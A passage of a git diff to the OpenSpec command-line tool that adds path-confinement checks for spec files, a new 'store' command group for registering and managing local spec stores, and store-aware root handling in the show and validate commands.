suggestions.length + ? `Unknown item '${itemName}'. Did you mean: ${suggestions.join(', ')}?` + : `Unknown item '${itemName}'.`; + if (params.options.json) { + console.log( + JSON.stringify( + { status: [{ severity: 'error', code: 'unknown_item', message }] }, + null, + 2 + ) + ); + } else { + console.error(message); + } process.exitCode = 1; return; } if (!params.typeOverride && isChange && isSpec) { + if (params.options.json) { + console.log( + JSON.stringify( + { + status: [ + { + severity: 'error', + code: 'ambiguous_item', + message: `Ambiguous item '${itemName}' matches both a change and a spec.`, + fix: 'Pass --type change|spec.', + }, + ], + }, + null, + 2 + ) + ); + process.exitCode = 1; + return; + } console.error(`Ambiguous item '${itemName}' matches both a change and a spec.`); - console.error('Pass --type change|spec, or use: openspec change show / openspec spec show'); + // The noun-form commands are cwd-based and cannot reach a selected store. + if (isStoreSelectedRoot(root)) { + console.error('Pass --type change|spec.'); + } else { + console.error('Pass --type change|spec, or use: openspec change show / openspec spec show'); + } process.exitCode = 1; return; } this.warnIrrelevantFlags(resolvedType, params.options); if (resolvedType === 'change') { - const cmd = new ChangeCommand(); - await cmd.show(itemName, params.options as any); + const cmd = new ChangeCommand(root.path); + await cmd.show(itemName, this.delegateOptions(root, params.options) as any); return; } - const cmd = new SpecCommand(); - await cmd.show(itemName, params.options as any); + const cmd = new SpecCommand(root.path); + await cmd.show(itemName, this.delegateOptions(root, params.options) as any); } - private printNonInteractiveHint(): void { + private printNonInteractiveHint(root: ResolvedOpenSpecRoot): void { console.error('Nothing to show. Try one of:'); - console.error(' openspec show <item>'); - console.error(' openspec change show'); - console.error(' openspec spec show'); + console.error(` ${withStoreFlag(root, 'openspec show <item>')}`); + if (isStoreSelectedRoot(root)) { + // The noun-form commands are cwd-based and cannot reach a selected store. + console.error(` ${withStoreFlag(root, 'openspec show <item> --type change')}`); + console.error(` ${withStoreFlag(root, 'openspec show <item> --type spec')}`); + } else { + console.error(' openspec change show'); + console.error(' openspec spec show'); + } console.error('Or run in an interactive terminal.'); } private warnIrrelevantFlags(type: ItemType, options: { [k: string]: any }): boolean { const irrelevant: string[] = []; + // --no-scenarios makes commander default `scenarios` to true, so its + // presence alone does not mean the user passed it — only false does. + const isUserProvided = (k: string) => + k === 'scenarios' ? options[k] === false : k in options; if (type === 'change') { - for (const k of SPEC_FLAG_KEYS) if (k in options) irrelevant.push(k); + for (const k of SPEC_FLAG_KEYS) if (isUserProvided(k)) irrelevant.push(k); } else { - for (const k of CHANGE_FLAG_KEYS) if (k in options) irrelevant.push(k); + for (const k of CHANGE_FLAG_KEYS) if (isUserProvided(k)) irrelevant.push(k); } if (irrelevant.length > 0) { console.error(`Warning: Ignoring flags not applicable to ${type}: ${irrelevant.join(', ')}`); diff --git a/src/commands/spec.ts b/src/commands/spec.ts index d28052f140..e459342db5 100644 --- a/src/commands/spec.ts +++ b/src/commands/spec.ts @@ -1,14 +1,37 @@ import { program } from 'commander'; -import { existsSync, readdirSync, readFileSync } from 'fs'; -import { join } from 'path'; +import { existsSync, readFileSync } from 'fs'; +import path, { join } from 'path'; import { MarkdownParser } from '../core/parsers/markdown-parser.js'; import { Validator } from '../core/validation/validator.js'; import type { Spec } from '../core/schemas/index.js'; +import type { RootOutput } from '../core/root-selection.js'; import { isInteractive } from '../utils/interactive.js'; import { getSpecIds } from '../utils/item-discovery.js'; +import { discoverSpecFiles } from '../utils/spec-discovery.js'; +import { FileSystemUtils } from '../utils/file-system.js'; const SPECS_DIR = 'openspec/specs'; +function assertSpecPath(specsDir: string, specPath: string): void { + const relativePath = path.relative(path.resolve(specsDir), path.resolve(specPath)); + if ( + relativePath === '..' || + relativePath.startsWith(`..${path.sep}`) || + path.isAbsolute(relativePath) + ) { + throw new Error(`Path is outside the allowed directory: ${specPath}`); + } + + try { + // Preserve confined spec.md links, including links to a sibling capability. + FileSystemUtils.assertPathWithin(specsDir, specPath); + } catch { + // A capability directory may intentionally be a monorepo symlink. Treat it + // as the trust root while still rejecting a link outside that capability. + FileSystemUtils.assertPathWithin(path.dirname(specPath), specPath); + } +} + interface ShowOptions { json?: boolean; // JSON-only filters (raw-first text has no filters) @@ -16,9 +39,11 @@ interface ShowOptions { scenarios?: boolean; // --no-scenarios sets this to false (JSON only) requirement?: string; // JSON only noInteractive?: boolean; + rootOutput?: RootOutput; } -function parseSpecFromFile(specPath: string, specId: string): Spec { +function parseSpecFromFile(specsDir: string, specPath: string, specId: string): Spec { + assertSpecPath(specsDir, specPath); const content = readFileSync(specPath, 'utf-8'); const parser = new MarkdownParser(content); return parser.parseSpec(specId); @@ -59,18 +84,27 @@ function filterSpec(spec: Spec, options: ShowOptions): Spec { * Print the raw markdown content for a spec file without any formatting. * Raw-first behavior ensures text mode is a passthrough for deterministic output. */ -function printSpecTextRaw(specPath: string): void { +function printSpecTextRaw(specsDir: string, specPath: string): void { + assertSpecPath(specsDir, specPath); const content = readFileSync(specPath, 'utf-8'); console.log(content); } export class SpecCommand { - private SPECS_DIR = 'openspec/specs'; + private specsDir: string; + private rootPath?: string; + + // rootPath is set only by root-aware callers (top-level `show`); the + // deprecated noun-form commands stay cwd-based. + constructor(rootPath?: string) { + this.rootPath = rootPath; + this.specsDir = rootPath ? join(rootPath, 'openspec', 'specs') : SPECS_DIR; + } async show(specId?: string, options: ShowOptions = {}): Promise<void> { if (!specId) { const canPrompt = isInteractive(options); - const specIds = await getSpecIds(); + const specIds = await getSpecIds(this.rootPath ?? process.cwd()); if (canPrompt && specIds.length > 0) { const { select } = await import('@inquirer/prompts'); specId = await select({ @@ -82,16 +116,20 @@ export class SpecCommand { } } - const specPath = join(this.SPECS_DIR, specId, 'spec.md'); + const specPath = join(this.specsDir, specId, 'spec.md'); + assertSpecPath(this.specsDir, specPath); if (!existsSync(specPath)) { - throw new Error(`Spec '${specId}' not found at openspec/specs/${specId}/spec.md`); + // Root-aware callers get the absolute path; the cwd-based noun form + // keeps its historical forward-slash relative message on all platforms. + const displayPath = this.rootPath ? specPath : `openspec/specs/${specId}/spec.md`; + throw new Error(`Spec '${specId}' not found at ${displayPath}`); } if (options.json) { if (options.requirements && options.requirement) { throw new Error('Options --requirements and --requirement cannot be used together'); } - const parsed = parseSpecFromFile(specPath, specId); + const parsed = parseSpecFromFile(this.specsDir, specPath, specId); const filtered = filterSpec(parsed, options); const output = { id: specId, @@ -100,11 +138,12 @@ export class SpecCommand { requirementCount: filtered.requirements.length, requirements: filtered.requirements, metadata: parsed.metadata ?? { version: '1.0.0', format: 'openspec' as const }, + ...(options.rootOutput ? { root: options.rootOutput } : {}), }; console.log(JSON.stringify(output, null, 2)); return; } - printSpecTextRaw(specPath); + printSpecTextRaw(this.specsDir, specPath); } } @@ -141,37 +180,33 @@ export function registerSpecCommand(rootProgram: typeof program) { .description('List all available specifications') .option('--json', 'Output as JSON') .option('--long', 'Show id and title with counts') - .action((options: { json?: boolean; long?: boolean }) => { + .action(async (options: { json?: boolean; long?: boolean }) => { try { if (!existsSync(SPECS_DIR)) { console.log('No items found'); return; } - const specs = readdirSync(SPECS_DIR, { withFileTypes: true }) - .filter(dirent => dirent.isDirectory()) - .map(dirent => { - const specPath = join(SPECS_DIR, dirent.name, 'spec.md'); - if (existsSync(specPath)) { - try { - const spec = parseSpecFromFile(specPath, dirent.name); - - return { - id: dirent.name, - title: spec.name, - requirementCount: spec.requirements.length - }; - } catch { - return { - id: dirent.name, - title: dirent.name, - requirementCount: 0 - }; - } + const discovered = await discoverSpecFiles(SPECS_DIR); + const specs = discovered + .map(({ id, specFile }) => { + try { + assertSpecPath(SPECS_DIR, specFile); + const spec = parseSpecFromFile(SPECS_DIR, specFile, id); + + return { + id, + title: spec.name, + requirementCount: spec.requirements.length + }; + } catch { + return { + id, + title: id, + requirementCount: 0 + }; } - return null; }) - .filter((spec): spec is { id: string; title: string; requirementCount: number } => spec !== null) .sort((a, b) => a.id.localeCompare(b.id)); if (options.json) { @@ -218,12 +253,14 @@ export function registerSpecCommand(rootProgram: typeof program) { } const specPath = join(SPECS_DIR, specId, 'spec.md'); + assertSpecPath(SPECS_DIR, specPath); if (!existsSync(specPath)) { throw new Error(`Spec '${specId}' not found at openspec/specs/${specId}/spec.md`); } const validator = new Validator(options.strict); + assertSpecPath(SPECS_DIR, specPath); const report = await validator.validateSpec(specPath); if (options.json) { diff --git a/src/commands/store.ts b/src/commands/store.ts new file mode 100644 index 0000000000..1a91d89984 --- /dev/null +++ b/src/commands/store.ts @@ -0,0 +1,799 @@ +import * as os from 'node:os'; +import { asErrorMessage, emitFailure, printJson } from './shared-output.js'; +import * as path from 'node:path'; +import { Command } from 'commander'; + +import { COMMAND_REGISTRY } from '../core/completions/command-registry.js'; + +import { + StoreError, + doctorStores, + listStores, + prepareStoreSetup, + prepareStoreCleanup, + registerExistingStore, + removeStore, + resolveSetupGitEnabled, + setupPreparedStore, + unregisterStore, + validateStoreId, + type StoreCleanupResult, + type StoreDiagnostic, + type StoreDoctorResult, + type StoreInfo, + type StoreInspection, + type StoreListResult, + type StoreMutationResult, + type SetupStoreInput, +} from '../core/store/index.js'; +import { isInteractive } from '../utils/interactive.js'; + +interface StoreSetupOptions { + path?: string; + initGit?: boolean; + json?: boolean; + remote?: string; +} + +interface StoreRegisterOptions { + id?: string; + yes?: boolean; + json?: boolean; +} + +interface StoreRemoveOptions { + yes?: boolean; + json?: boolean; +} + +interface StoreJsonOptions { + json?: boolean; +} + +interface ResolvedStoreSetupInput extends SetupStoreInput { + id: string; +} + +interface StoreOutput { + id: string; + root: string; + metadata_path?: string; +} + +interface StoreMutationOutput { + store: StoreOutput | null; + registry: { + path: string; + registered: boolean; + already_registered: boolean; + } | null; + git: { + is_repository: boolean; + initialized: boolean; + committed: boolean; + } | null; + created_files: string[]; + status: StoreDiagnostic[]; +} + +interface StoreCleanupOutput { + store: StoreOutput | null; + registry: { + path: string; + removed: boolean; + } | null; + files: { + deleted: boolean; + deleted_path: string | null; + left_on_disk: string | null; + } | null; + status: StoreDiagnostic[]; +} + +interface StoreListOutput { + stores: StoreOutput[]; + status: StoreDiagnostic[]; +} + +type OpenSpecRootOutput = Omit<StoreInspection['openspecRoot'], 'diagnostics'> & { + status: StoreDiagnostic[]; +}; + +interface StoreDoctorStoreOutput extends StoreOutput { + openspec_root: OpenSpecRootOutput; + metadata: StoreInspection['metadata']; + git: { + is_repository: boolean | null; + has_commits: boolean | null; + has_uncommitted_changes: boolean | null; + has_remote: boolean | null; + origin_url: string | null; + }; + status: StoreDiagnostic[]; +} + +interface StoreDoctorOutput { + stores: StoreDoctorStoreOutput[]; + status: StoreDiagnostic[]; +} + + + + + +function toStoreOutput(store: StoreInfo): StoreOutput { + return { + id: store.id, + root: store.root, + ...(store.metadataPath ? { metadata_path: store.metadataPath } : {}), + }; +} + +function toMutationOutput(result: StoreMutationResult): StoreMutationOutput { + return { + store: toStoreOutput(result.store), + registry: { + path: result.registryCommit.path, + registered: result.registryCommit.registered, + already_registered: result.registryCommit.alreadyRegistered, + }, + git: { + is_repository: result.git.isRepository, + initialized: result.git.initialized, + committed: result.git.committed, + }, + created_files: result.createdArtifacts, + status: result.diagnostics, + }; +} + +function toCleanupOutput(result: StoreCleanupResult): StoreCleanupOutput { + return { + store: toStoreOutput(result.store), + registry: { + path: result.registryCommit.path, + removed: result.registryCommit.removed, + }, + files: { + deleted: result.files.deleted, + deleted_path: result.files.deletedPath ?? null, + left_on_disk: result.files.leftOnDisk ?? null, + }, + status: result.diagnostics, + }; +} + +function toListOutput(result: StoreListResult): StoreListOutput { + return { + stores: result.stores.map(toStoreOutput), + status: [], + }; +} + +function toOpenSpecRootOutput(root: StoreInspection['openspecRoot']): OpenSpecRootOutput { + return { + present: root.present, + config: root.config, + specs: root.specs, + changes: root.changes, + archive: root.archive, + healthy: root.healthy, + status: root.diagnostics, + }; +} + +function toDoctorStoreOutput(store: StoreInspection): StoreDoctorStoreOutput { + return { + ...toStoreOutput(store), + openspec_root: toOpenSpecRootOutput(store.openspecRoot), + metadata: store.metadata, + git: { + is_repository: store.git.isRepository, + has_commits: store.git.hasCommits, + has_uncommitted_changes: store.git.hasUncommittedChanges, + has_remote: store.git.hasRemote, + origin_url: store.git.originUrl, + }, + status: store.diagnostics, + }; +} + +function toDoctorOutput(result: StoreDoctorResult): StoreDoctorOutput { + return { + stores: result.stores.map(toDoctorStoreOutput), + status: result.diagnostics, + }; +} + + + + + +function formatPathForHuman(targetPath: string): string { + const home = os.homedir(); + const normalizedHome = path.resolve(home); + const normalizedTarget = path.resolve(targetPath); + + if (normalizedTarget === normalizedHome) return '~'; + if (normalizedTarget.startsWith(`${normalizedHome}${path.sep}`)) { + return `~${path.sep}${path.relative(normalizedHome, normalizedTarget)}`; + } + + return targetPath; +} + +async function promptStoreId(): Promise<string> { + const { input } = await import('@inquirer/prompts'); + + return input({ + message: 'Store name', + required: true, + validate(value: string) { + try { + validateStoreId(value); + return true; + } catch (error) { + return asErrorMessage(error); + } + }, + }); +} + +async function promptStorePath(id: string): Promise<string> { + const { input } = await import('@inquirer/prompts'); + // Suggest a visible, user-owned location — never the managed XDG data dir. + const defaultPath = ['~', 'openspec', id].join('/'); + + return input({ + message: 'Where should this store live?', + default: defaultPath, + prefill: 'editable', + required: true, + }); +} + +async function resolveSetupInput( + id: string | undefined, + options: StoreSetupOptions +): Promise<ResolvedStoreSetupInput> { + const interactive = !options.json && isInteractive(); + + if (!id && !interactive) { + throw new StoreError( + 'Pass a store name.', + 'store_setup_id_required', + { + target: 'store.id', + fix: 'openspec store setup <id> --path ~/openspec/<id> --json', + } + ); + } + + if (options.path === undefined && !interactive) { + throw new StoreError( + 'Pass --path with the folder where this store should live.', + 'store_setup_path_required', + { + target: 'store.root', + fix: `openspec store setup ${id ?? '<id>'} --path ~/openspec/${id ?? '<id>'}`, + } + ); + } + + const resolvedId = id ? validateStoreId(id) : await promptStoreId(); + const promptedPath = options.path === undefined + ? await promptStorePath(resolvedId) + : undefined; + + return { + id: resolvedId, + path: options.path ?? promptedPath, + ...(options.remote !== undefined ? { remote: options.remote } : {}), + }; +} + +async function prepareSetupInput( + input: ResolvedStoreSetupInput, + _options: StoreSetupOptions +) { + return prepareStoreSetup(input); +} + +async function confirmSetup( + prepared: Awaited<ReturnType<typeof prepareStoreSetup>>, + initGit: boolean +): Promise<void> { + const { confirm } = await import('@inquirer/prompts'); + + console.log(''); + console.log('OpenSpec will create:'); + console.log(''); + console.log(` Store: ${prepared.id}`); + console.log(` Location: ${formatPathForHuman(prepared.root)}`); + console.log(` Git: ${initGit ? 'initialized' : 'not initialized'}`); + console.log(''); + + const confirmed = await confirm({ + message: 'Create this store?', + default: true, + }); + + if (!confirmed) { + throw new StoreError( + 'Store setup cancelled.', + 'store_setup_cancelled', + { + target: 'store.root', + fix: 'Rerun setup when you are ready.', + } + ); + } +} + +async function confirmRemove(id: string, root: string, options: StoreRemoveOptions): Promise<void> { + if (options.yes) return; + + if (options.json || !isInteractive()) { + throw new StoreError( + 'Pass --yes to delete store files non-interactively.', + 'store_remove_confirmation_required', + { + target: 'store.root', + fix: `openspec store remove ${id} --yes`, + } + ); + } + + const { confirm } = await import('@inquirer/prompts'); + const confirmed = await confirm({ + message: `Delete local store folder ${formatPathForHuman(root)}?`, + default: false, + }); + + if (!confirmed) { + throw new StoreError( + 'Store remove cancelled.', + 'store_remove_cancelled', + { + target: 'store.root', + fix: 'Run "openspec store unregister <id>" if you only want to forget the local registration.', + } + ); + } +} + +function isRegisterIdentityConfirmationError(error: unknown): boolean { + return ( + error instanceof StoreError && + error.diagnostic.code === 'store_register_identity_confirmation_required' + ); +} + +async function confirmRegisterConversion(error: unknown): Promise<void> { + const { confirm } = await import('@inquirer/prompts'); + const confirmed = await confirm({ + message: asErrorMessage(error), + default: false, + }); + + if (!confirmed) { + throw new StoreError( + 'Store register cancelled.', + 'store_register_cancelled', + { + target: 'store.metadata', + fix: 'Rerun register when you are ready to create store identity metadata.', + } + ); + } +} + +function printMutationHuman( + title: string, + payload: StoreMutationOutput, + remotes?: { canonical?: string; observed?: string } +): void { + if (!payload.store || !payload.registry || !payload.git) { + return; + } + + console.log(`${title}: ${payload.store.id}`); + console.log(`Location: ${formatPathForHuman(payload.store.root)}`); + console.log('OpenSpec root: ready'); + console.log(`Registry: ${payload.registry.already_registered ? 'already registered' : 'registered'}`); + for (const status of payload.status) { + console.log(`${status.severity === 'error' ? 'Issue' : 'Note'}: ${status.message}`); + } + console.log(''); + console.log('Next: run normal OpenSpec commands against this store, for example:'); + console.log(` openspec new change <change-id> --store ${payload.store.id}`); + if (payload.git.is_repository) { + const shareRemote = remotes?.canonical ?? remotes?.observed; + console.log( + shareRemote + ? `Share it: teammates clone ${shareRemote} and run openspec store register <path>.` + : 'Share this store by committing and pushing it like any Git repo.' + ); + } +} + +function printCleanupHuman(title: string, payload: StoreCleanupOutput): void { + if (!payload.store || !payload.registry || !payload.files) { + return; + } + + console.log(`${title}: ${payload.store.id}`); + + if (payload.files.deleted_path) { + console.log(`Deleted: ${formatPathForHuman(payload.files.deleted_path)}`); + } else if (payload.files.left_on_disk) { + console.log(`Files kept at: ${formatPathForHuman(payload.files.left_on_disk)}`); + } else if (!payload.files.deleted) { + console.log(`Files were already missing: ${formatPathForHuman(payload.store.root)}`); + } + + for (const status of payload.status) { + console.log(`${status.severity === 'error' ? 'Issue' : 'Note'}: ${status.message}`); + } +} + +function printListHuman(payload: StoreListOutput): void { + if (payload.stores.length === 0) { + console.log('No stores registered.'); + console.log(''); + console.log('Next:'); + console.log(' openspec store setup team-context --path ~/openspec/team-context'); + console.log(' openspec store register /path/to/store'); + return; + } + + console.log(`OpenSpec stores (${payload.stores.length})`); + console.log(''); + console.log(`${'ID'.padEnd(16)}Location`); + for (const store of payload.stores) { + console.log(`${store.id.padEnd(16)}${store.root}`); + } +} + +function formatMetadataHuman(store: StoreDoctorOutput['stores'][number]): string { + if (store.metadata.valid) return 'ok'; + if (store.metadata.present === false) return 'missing'; + if (store.metadata.present === null) return 'unknown'; + return 'invalid'; +} + +function formatDoctorGitHuman(store: StoreDoctorOutput['stores'][number]): string { + if (store.git.is_repository === null) return 'unknown'; + if (!store.git.is_repository) return 'not detected'; + + const fact = (value: boolean | null, yes: string, no: string): string => + value === null ? 'unknown' : value ? yes : no; + + return `repository detected (commits: ${fact(store.git.has_commits, 'yes', 'none')}, uncommitted changes: ${fact(store.git.has_uncommitted_changes, 'yes', 'no')}, remote: ${fact(store.git.has_remote, 'yes', 'none')})`; +} + +function formatOpenSpecRootHuman(store: StoreDoctorOutput['stores'][number]): string { + if (store.openspec_root.healthy) return 'ok'; + if (store.openspec_root.present === false) return 'missing'; + if (store.openspec_root.present === null) return 'unknown'; + return 'incomplete'; +} + +function printDoctorHuman(payload: StoreDoctorOutput): void { + if (payload.stores.length === 0) { + console.log('No stores registered.'); + return; + } + + console.log('Store doctor'); + for (const store of payload.stores) { + console.log(''); + console.log(store.id); + console.log(` Location: ${store.root}`); + console.log(` OpenSpec root: ${formatOpenSpecRootHuman(store)}`); + console.log(` Metadata: ${formatMetadataHuman(store)}`); + const remoteLine = store.metadata.remote ?? store.git.origin_url; + if (remoteLine) { + console.log(` Remote: ${remoteLine}`); + } + console.log(` Git: ${formatDoctorGitHuman(store)}`); + + if (store.status.length === 0) { + console.log(' Issues: none'); + continue; + } + + console.log(' Issues:'); + for (const status of store.status) { + console.log(` - ${status.message}`); + if (status.fix) { + console.log(` Fix: ${status.fix}`); + } + } + } +} + +class StoreCommand { + async setup(id: string | undefined, options: StoreSetupOptions = {}): Promise<void> { + try { + const setupInput = await resolveSetupInput(id, options); + const prepared = await prepareSetupInput(setupInput, options); + const initGit = resolveSetupGitEnabled(prepared, options.initGit); + if (!options.json && isInteractive()) { + await confirmSetup(prepared, initGit); + } + const result = await setupPreparedStore(prepared, { initGit }); + const payload = toMutationOutput(result); + + if (options.json) { + printJson(payload); + return; + } + + printMutationHuman('Store ready', payload, result.remotes); + } catch (error) { + this.handleFailure( + options.json, + { store: null, registry: null, git: null, created_files: [], status: [] }, + error + ); + } + } + + async register(inputPath: string | undefined, options: StoreRegisterOptions = {}): Promise<void> { + try { + let result: StoreMutationResult; + try { + result = await registerExistingStore({ + path: inputPath, + id: options.id, + allowCreateIdentity: options.yes, + }); + } catch (error) { + if (!isRegisterIdentityConfirmationError(error) || options.json || !isInteractive()) { + throw error; + } + + await confirmRegisterConversion(error); + result = await registerExistingStore({ + path: inputPath, + id: options.id, + allowCreateIdentity: true, + }); + } + + const payload = toMutationOutput(result); + + if (options.json) { + printJson(payload); + return; + } + + printMutationHuman('Store registered', payload, result.remotes); + } catch (error) { + this.handleFailure( + options.json, + { store: null, registry: null, git: null, created_files: [], status: [] }, + error + ); + } + } + + async unregister(id: string, options: StoreJsonOptions = {}): Promise<void> { + try { + const payload = toCleanupOutput(await unregisterStore({ id })); + + if (options.json) { + printJson(payload); + return; + } + + printCleanupHuman('Unregistered store', payload); + } catch (error) { + this.handleFailure( + options.json, + { store: null, registry: null, files: null, status: [] }, + error + ); + } + } + + async remove(id: string, options: StoreRemoveOptions = {}): Promise<void> { + try { + const target = await prepareStoreCleanup({ id }); + await confirmRemove(target.id, target.root, options); + const payload = toCleanupOutput(await removeStore(target)); + + if (options.json) { + printJson(payload); + return; + } + + printCleanupHuman('Removed store', payload); + } catch (error) { + this.handleFailure( + options.json, + { store: null, registry: null, files: null, status: [] }, + error + ); + } + } + + async list(options: StoreJsonOptions = {}): Promise<void> { + try { + const payload = toListOutput(await listStores()); + + if (options.json) { + printJson(payload); + return; + } + + printListHuman(payload); + } catch (error) { + this.handleFailure(options.json, { stores: [], status: [] }, error); + } + } + + async doctor(id: string | undefined, options: StoreJsonOptions = {}): Promise<void> { + try { + const payload = toDoctorOutput(await doctorStores(id)); + + if (options.json) { + printJson(payload); + return; + } + + printDoctorHuman(payload); + } catch (error) { + this.handleFailure(options.json, { stores: [], status: [] }, error); + } + } + + private handleFailure<T extends { status: StoreDiagnostic[] }>( + json: boolean | undefined, + payload: T, + error: unknown + ): void { + emitFailure(json, payload, error, 'store_error'); + } +} + +export function registerStoreCommand(program: Command): void { + const storeCommand = new StoreCommand(); + // One source for the locked group one-liner: the completions registry + // entry, which shell completion scripts also consume. + const storeGroupDescription = + COMMAND_REGISTRY.find((entry) => entry.name === 'store')?.description ?? + 'Create and manage stores - standalone OpenSpec repos you register on this machine'; + const store = program.command('store').description(storeGroupDescription); + + store + .command('setup [id]') + .description('Create and register a local store') + .option('--path <path>', 'Folder where the store should live (for example ~/openspec/<id>)') + .option('--init-git', 'Initialize a Git repository with an initial commit (default)') + .option('--no-init-git', 'Skip every Git action: no init, no initial commit') + .option('--remote <url>', 'Canonical clone source recorded in store.yaml') + .option('--json', 'Output as JSON') + .action(async (id: string | undefined, options: StoreSetupOptions) => { + await storeCommand.setup(id, options); + }); + + store + .command('register [path]') + .description('Register an existing local store') + .option('--id <id>', 'Store id; defaults to metadata or folder name') + .option('--yes', 'Confirm creating store identity metadata for a healthy OpenSpec root') + .option('--json', 'Output as JSON') + .action(async (inputPath: string | undefined, options: StoreRegisterOptions) => { + await storeCommand.register(inputPath, options); + }); + + store + .command('unregister <id>') + .description('Forget a local store registration without deleting files') + .option('--json', 'Output as JSON') + .action(async (id: string, options: StoreJsonOptions) => { + await storeCommand.unregister(id, options); + }); + + store + .command('remove <id>') + .description('Forget a local store registration and delete its local folder') + .option('--yes', 'Confirm local store folder deletion') + .option('--json', 'Output as JSON') + .action(async (id: string, options: StoreRemoveOptions) => { + await storeCommand.remove(id, options); + }); + + store + .command('list') + .alias('ls') + .description('List locally registered stores') + .option('--json', 'Output as JSON') + .action(async (options: StoreJsonOptions) => { + await storeCommand.list(options); + }); + + store + .command('doctor [id]') + .description('Check local store registration and metadata') + .option('--json', 'Output as JSON') + .action(async (id: string | undefined, options: StoreJsonOptions) => { + await storeCommand.doctor(id, options); + }); + + const lifecycleRedirects = new Set( + COMMAND_REGISTRY.filter( + (entry) => + entry.flags.some((flag) => flag.name === 'store') || + (entry.subcommands ?? []).some((subcommand) => + subcommand.flags.some((flag) => flag.name === 'store') + ) + ).map((entry) => entry.name) + ); + const storeSubcommandsLine = store.commands + .map((subcommand) => { + const aliases = subcommand.aliases(); + return aliases.length > 0 ? `${subcommand.name()} (${aliases.join(', ')})` : subcommand.name(); + }) + .join(', '); + // One group action owns missing AND unknown subcommands. Known + // subcommands dispatch above; everything else — including a bare + // `store --json` with no operand — lands here, so the handler owns the + // entire message and exit path (same text for human and --json). The + // permissive flags route unknown operands/options here instead of + // letting Commander emit a raw error before the action runs. We detect + // `--json` in the residual args rather than declaring a group option, + // which would otherwise shadow each subcommand's own `--json` flag. + store.allowExcessArguments(true); + store.allowUnknownOption(true); + store.action(() => { + const operands = store.args; + // Flag values are indistinguishable from operands without a full + // parse, so the verbatim echo only applies to plain-operand input. + const attempted = operands.filter((operand) => !operand.startsWith('-')); + const hasFlagLikeToken = operands.some((operand) => operand.startsWith('-')); + // The agent contract: --json failures emit one JSON document. + if (operands.includes('--json')) { + const message = + attempted.length > 0 + ? `Unknown command '${attempted[0]}' for 'openspec store'. Store subcommands: ${storeSubcommandsLine}.` + : `Missing subcommand for 'openspec store'. Store subcommands: ${storeSubcommandsLine}.`; + printJson({ + status: [ + { + severity: 'error', + code: 'unknown_store_subcommand', + message, + fix: 'Run a store subcommand, or use the lifecycle command with --store <id>.', + }, + ], + }); + process.exitCode = 1; + return; + } + let example = 'openspec new change <change-id> --store <id>'; + if (!hasFlagLikeToken && attempted.length > 0 && lifecycleRedirects.has(attempted[0])) { + if (attempted[0] === 'new') { + const changeId = attempted[1] === 'change' && attempted[2] ? attempted[2] : '<change-id>'; + example = `openspec new change ${changeId} --store <id>`; + } else { + example = `openspec ${attempted.join(' ')} --store <id>`; + } + } + console.error( + attempted.length > 0 + ? `Error: unknown command '${attempted[0]}' for 'openspec store'.` + : "Error: missing subcommand for 'openspec store'." + ); + console.error( + `Store subcommands manage store registration: ${storeSubcommandsLine}.` + ); + console.error( + 'To create or work on a change in a store, use the normal command with --store, for example:' + ); + console.error(` ${example}`); + process.exitCode = 1; + }); +} diff --git a/src/commands/validate.ts b/src/commands/validate.ts index 9e59a4d48d..7c474cd0c2 100644 --- a/src/commands/validate.ts +++ b/src/commands/validate.ts @@ -1,8 +1,17 @@ import ora from 'ora'; import path from 'path'; import { Validator } from '../core/validation/validator.js'; +import { VALIDATION_MESSAGES } from '../core/validation/constants.js'; +import { + resolveRootForCommand, + toRootOutput, + withStoreFlag, + type ResolvedOpenSpecRoot, + isStoreSelectedRoot, +} from '../core/root-selection.js'; import { isInteractive, resolveNoInteractive } from '../utils/interactive.js'; -import { getActiveChangeIds, getSpecIds } from '../utils/item-discovery.js'; +import { getSpecIds } from '../utils/item-discovery.js'; +import { getAvailableChanges } from './workflow/shared.js'; import { nearestMatches } from '../utils/match.js'; type ItemType = 'change' | 'spec'; @@ -17,6 +26,8 @@ interface ExecuteOptions { noInteractive?: boolean; interactive?: boolean; // Commander sets this to false when --no-interactive is used concurrency?: string; + store?: string; + storePath?: string; } interface BulkItemResult { @@ -29,11 +40,16 @@ interface BulkItemResult { export class ValidateCommand { async execute(itemName: string | undefined, options: ExecuteOptions = {}): Promise<void> { + const root = await resolveRootForCommand(options, { json: options.json }); + if (!root) { + return; + } + const interactive = isInteractive(options); // Handle bulk flags first if (options.all || options.changes || options.specs) { - await this.runBulkValidation({ + await this.runBulkValidation(root, { changes: !!options.all || !!options.changes, specs: !!options.all || !!options.specs, }, { strict: !!options.strict, json: !!options.json, concurrency: options.concurrency, noInteractive: resolveNoInteractive(options) }); @@ -43,17 +59,17 @@ export class ValidateCommand { // No item and no flags if (!itemName) { if (interactive) { - await this.runInteractiveSelector({ strict: !!options.strict, json: !!options.json, concurrency: options.concurrency }); + await this.runInteractiveSelector(root, { strict: !!options.strict, json: !!options.json, concurrency: options.concurrency }); return; } - this.printNonInteractiveHint(); + this.printNonInteractiveHint(root); process.exitCode = 1; return; } // Direct item validation with type detection or override const typeOverride = this.normalizeType(options.type); - await this.validateDirectItem(itemName, { typeOverride, strict: !!options.strict, json: !!options.json }); + await this.validateDirectItem(root, itemName, { typeOverride, strict: !!options.strict, json: !!options.json }); } private normalizeType(value?: string): ItemType | undefined { @@ -63,7 +79,19 @@ export class ValidateCommand { return undefined; } - private async runInteractiveSelector(opts: { strict: boolean; json: boolean; concurrency?: string }): Promise<void> { + /** + * Resolve change IDs by directory existence within the resolved root — the + * same rule `openspec status`/`instructions` use (`getAvailableChanges`) — + * rather than requiring `proposal.md`. This lets `validate` resolve a + * scaffolded or still-authoring change that the sibling commands already + * resolve (#1182). Sorted to preserve the prior `getActiveChangeIds` ordering. + */ + private async listChangeIds(root: ResolvedOpenSpecRoot): Promise<string[]> { + const ids = await getAvailableChanges(root.path, root.changesDir); + return ids.sort(); + } + + private async runInteractiveSelector(root: ResolvedOpenSpecRoot, opts: { strict: boolean; json: boolean; concurrency?: string }): Promise<void> { const { select } = await import('@inquirer/prompts'); const choice = await select({ message: 'What would you like to validate?', @@ -75,12 +103,12 @@ export class ValidateCommand { ], }); - if (choice === 'all') return this.runBulkValidation({ changes: true, specs: true }, opts); - if (choice === 'changes') return this.runBulkValidation({ changes: true, specs: false }, opts); - if (choice === 'specs') return this.runBulkValidation({ changes: false, specs: true }, opts); + if (choice === 'all') return this.runBulkValidation(root, { changes: true, specs: true }, opts); + if (choice === 'changes') return this.runBulkValidation(root, { changes: true, specs: false }, opts); + if (choice === 'specs') return this.runBulkValidation(root, { changes: false, specs: true }, opts); // one - const [changes, specs] = await Promise.all([getActiveChangeIds(), getSpecIds()]); + const [changes, specs] = await Promise.all([this.listChangeIds(root), 